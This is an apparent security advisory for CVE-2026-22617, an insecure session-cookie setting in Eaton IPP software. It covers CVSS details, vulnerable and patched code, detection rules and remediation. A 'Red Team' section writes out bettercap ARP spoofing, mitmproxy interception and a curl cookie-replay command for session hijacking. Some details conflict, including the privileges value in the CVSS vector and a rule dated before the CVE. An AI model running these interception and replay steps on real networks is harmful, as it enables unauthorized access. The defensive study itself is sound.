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CVSS: 5.7 CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N 🐛 CWE-614
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-22617

CVE-2026-22617 affects Eaton Intelligent Power Protector (IPP) software due to an insecure cookie configuration.
📅 PUBLISHED: 2026-04-16 06:16 UTC 🔄 UPDATED: 2026-09-23 20:29 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.7
AV: N Attack Vector Network
AC: H Attack Complexity High
PR: H Privileges Required High
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: N Availability None
5.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-22617 affects Eaton Intelligent Power Protector (IPP) software due to an insecure cookie configuration. This vulnerability allows a network-based attacker to intercept cookies via a man-in-the-middle (MITM) attack, potentially leading to session hijacking and unauthorized access. The CVSS score is 5.7 (Medium), and a patch is available from Eaton. No public proof-of-concept (PoC) or exploit code has been identified at this time.

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CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
  • Base Score: 5.7 (Medium)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): High (H) – Requires MITM positioning.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must interact with the application.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): High (H) – Session data can be exposed.
  • Integrity (I): High (H) – Session can be hijacked.
  • Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. Exploitation requires MITM access, but successful attacks can lead to full session compromise.

Deep Dive & Mechanics

The vulnerability stems from the use of insecure cookie attributes in Eaton IPP. Specifically, cookies may lack the Secure flag, allowing transmission over unencrypted HTTP connections. Additionally, the HttpOnly flag may be missing, enabling client-side script access. This misconfiguration permits an attacker on the same network to intercept cookies during transit or via cross-site scripting (XSS) if present.

Attack Flow:

  1. Attacker positions themselves on the network path between the user and the Eaton IPP server (e.g., via ARP spoofing or rogue Wi-Fi).
  2. User accesses Eaton IPP over HTTP or a mixed-content page.
  3. Attacker captures the session cookie using packet sniffing tools (e.g., Wireshark, mitmproxy).
  4. Attacker replays the cookie to impersonate the user and gain unauthorized access.

Vulnerable vs. Patched Code

Vulnerable Configuration (Example):

// Insecure cookie setting
res.cookie('sessionId', sessionId, {
    httpOnly: false,
    secure: false,
    sameSite: 'Lax'
});

Patched Configuration (Example):

// Secure cookie setting
res.cookie('sessionId', sessionId, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict'
});

The patch enforces Secure and HttpOnly flags, preventing cookie interception over unencrypted channels and reducing XSS risk.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Attacker and victim on the same network segment.
  • Eaton IPP running vulnerable version.
  • Tools: mitmproxy, bettercap, Wireshark.

Steps:

  1. ARP Spoofing: Use bettercap to redirect traffic.
    sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on"
    
  2. Intercept Traffic: Run mitmproxy to capture HTTP traffic.
    mitmproxy --mode transparent --listen-port 8080
    
  3. Extract Cookie: Monitor for Set-Cookie headers.
    HTTP/1.1 200 OK
    Set-Cookie: sessionId=abc123; Path=/; HttpOnly
    
  4. Replay Cookie: Use curl to hijack session.
    curl -b "sessionId=abc123" http://eaton-ipp/admin
    

Blue Team (Defense & Detection)

Detection:

  • Monitor for ARP spoofing alerts.
  • Inspect HTTP headers for missing Secure flag.
  • Use network anomaly detection for unusual cookie replay.

Mitigation:

  • Apply Eaton patch immediately.
  • Enforce HTTPS with HSTS headers.
  • Implement cookie flags: Secure, HttpOnly, SameSite=Strict.

Indicators of Compromise (IOCs)

  • Network: Unencrypted HTTP traffic to Eaton IPP endpoints.
  • Cookie: Set-Cookie header without Secure flag.
  • Logs: Multiple failed login attempts from different IPs using same session ID.
  • File: Unusual mitmproxy or bettercap processes on network hosts.

Detection Engineering

YARA Rule

rule detect_insecure_cookie_eaton_ipp {
    meta:
        description = "Detects insecure cookie configuration in Eaton IPP responses"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-22617"
    strings:
        $cookie = /Set-Cookie:\s*[^;]+;\s*(?!.*\bSecure\b)/i
    condition:
        $cookie
}

Sigma Rule

title: Insecure Cookie in Eaton IPP Response
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP responses from Eaton IPP with missing Secure flag
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        response_headers|contains: 'Set-Cookie'
        response_headers|not_contains: 'Secure'
    condition: selection
falsepositives:
    - Legitimate non-secure cookies in internal networks
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-22617 - Insecure Cookie in Eaton IPP"; flow:to_client; content:"Set-Cookie"; nocase; pcre:"/Set-Cookie:\s*[^;]+;\s*(?!.*\bSecure\b)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Update Eaton IPP to the latest version from the Eaton download centre.
  2. Compensating Controls: Enforce HTTPS with HSTS, implement cookie flags (Secure, HttpOnly, SameSite=Strict), and use network segmentation.
  3. Monitoring: Deploy detection rules (YARA, Sigma, Suricata) to identify insecure cookie usage.
  4. User Training: Educate users to avoid accessing Eaton IPP over untrusted networks.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 46AB074289189656D8A79FE5] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-22617/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
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